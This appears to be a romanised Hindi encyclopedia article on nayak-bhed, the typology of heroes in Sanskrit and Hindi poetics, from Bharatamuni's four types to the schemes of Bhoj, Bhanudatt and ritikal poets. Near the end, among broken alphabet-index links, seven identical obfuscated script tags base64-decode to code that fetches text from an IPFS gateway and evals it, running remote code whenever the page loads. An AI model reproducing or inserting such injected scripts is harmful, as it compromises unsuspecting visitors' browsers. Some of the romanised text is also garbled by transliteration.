नायक भेद

hindi ke nayak-nayika-bhed sanbandhi sahity ka nirman adhikaanshat: ritikal mean hua hai. nayak-nayika-bhed ki yah kavyasarita do sashakt dharaoan ke sangam ka parinam hai. inamean se pahali dhara hai sahityashastr evan nayak-nayika-bhed sanbandhi shastriy granthoan ki, jisaka aranbh bharatamuni ke "naty shastr" se hota hai; tatha doosari dhara hai krishna aur gopiyoan ki shrriangar kri daoan ke varnan ki, jo "harivansh", "padm", "vishnu" "bhagavat" tatha "brahm vaivart" puranoan ki upatyakaoan mean bahati huee aur umapatidhar, jayadev, chandidas, vidyapati, mira, narasi mehata tatha sooradas adi anek bhakt kaviyoan ki madhur vani se vilasit hoti huee, nianbark, vallabh tatha chaitany jaise mahanh acharyoan ke samarthan se sanpusht huee hai. acharyatvan ki drishti se kavyashastr ke is aang ki hiandi lekhakoan ki den asadharan hai. kavyasaushthav ki drishti se bhi vidvanoan ke matanusar itane ooanche star ke sahity ka itane b de pariman mean nirman hiandi sahity ke aur kisi kal mean nahian hua.

nayak ke bhed

sanskrit kavyashatroan tatha nath‌yashastroan mean nayika bhed aur nayak-bhedoan ka varnan shrriangar ras ke pariprekshy mean hua hai. dasharoopak sanskrit nath‍yashastroan mean ek sammananiy sthan rakhata hai. bharatamuni ke anusar nayak ke char bhed hote haian-

dhiralalit
dhirashant
dhirodatt
dhiroddhat

ye bhed natak ke nayak ke haian. inamean se pratham mridu svabhav vala aur sangitapremi kshatriy raja hota hai. doosara mukhyatah samany gunayukt brahman athava vanik hota hai. tisara gambhir, kshamavan, nirahankari vir aur dridhavrat kshatriy raja hota hai tatha chautha ahankari, atmaprashansak aur eershyalu prakar ka hota hai. nayak ke ye char prakar char vibhinn prakriti ke purushoan ko pradarshit karate haian, jabaki nayikaoan ke bhed mukhyatah shrriangar-ras ke prasang mean unake nayak se sambandh ke adhar par kiye gaye haian. udaharan ke liye jis nayika ka pati usake pas ho vah prasann rahati hai aur svadhinapatika kahalati hai. jis nayika ka pati videsh mean ho vah proshitapriya kahi jati hai. jisake pati ya premi ne usase chhal karake kisi aur se prem kiya ho vah khandita kahalati hai adi.

sahityik sandarbh

"agnipuran" mean inake atirikt char aur bhedoan ka ullekh hai : anukool, darkshin, shath, dhrishth. ye bhed spasht hi shrriangar ras ke alanban vibhav ke haian. bhoj (11vian shatabdi) ne "sarasvatikanthabharan" tatha "shrriangaraprakash" mean in do ke atirikt any anek vargikaranoan ka ullekh kiya hai. kiantu unamean se keval ek vargikaran hi, jisaka ullekh purush ke bhedoan ke roop mean bharat ne bhi kiya tha, paravarti lekhakoan ko many hua : uttam, madhyam, adham. bhanudatt (1300 ee.) ne "rasamanjari" mean ek naya vargikaran diya, jise age chalakar pradhan vargikaran mana gaya. yah hai : pati, upapati veshik. anukool ityadi bhed pati aur upapati ke aantargat svikar kie ge. bhanudatt ne proshit nam ke ek aur bhed ka ullekh kiya. roop gosvami (1500 ee.) ne "ujjvalanilamani" mean vaishik svikar nahian kiya. unhoanne krishna ko ekamatr nayak mana hai. hiandi mean nayakabhed ke pramukh lekhakoan ne uparyukt vargikaranoan mean se pratham ko chho dakar shesh ko pray: svikar kar liya hai. pati, upapati, vaishik ko mukhy vargikaran manakar anukool, dakshin, shath, ghrishth bhedoan ko pati ke aantargat rakha hai.^[1] nayak ke uttam, madhyam, adham bhedoan ko hiandi mean keval kuchh lekhakoan ne hi svikar kiya hai, jinamean suandar (1631 ee.), top (1634 ee.) aur rasalin (1742 ee.) pramukh haian.

nayak ke kuchh any bhed

nayak ke kuchh any bhed is prakar haian. proshit, mani, chatur, anabhijn. mani ke do bhed haian : roopamani, gunamani. chatur ke bhed bhi do haian: vachan chatur, kriya-chatur. rasalin ne inhian ke sath svayandoot nayak ka bhi kathan kiya hai. anabhijn ko bhanudatt ke anukaran par padmakar ne bhi nayakabhas mana hai. keshav (1591 ee.) ne nayak ke prachhann aur prakash bhed bhi mane haian. rasalin ke mat se upapati ke tin tatha vaishik ke do upabhed haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ rahim : "baravai nayikabhed", 1600 ee.; matiram; "rasaraj", 1710 ee.; padmakar; "jagadvinod", 1810 ee.

bahari k diyaan

sanskrit nath‌yashastroan mean nayak-bhed: kuchh prashn

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] rahim : "baravai nayikabhed", 1600 ee.; matiram; "rasaraj", 1710 ee.; padmakar; "jagadvinod", 1810 ee.

[1]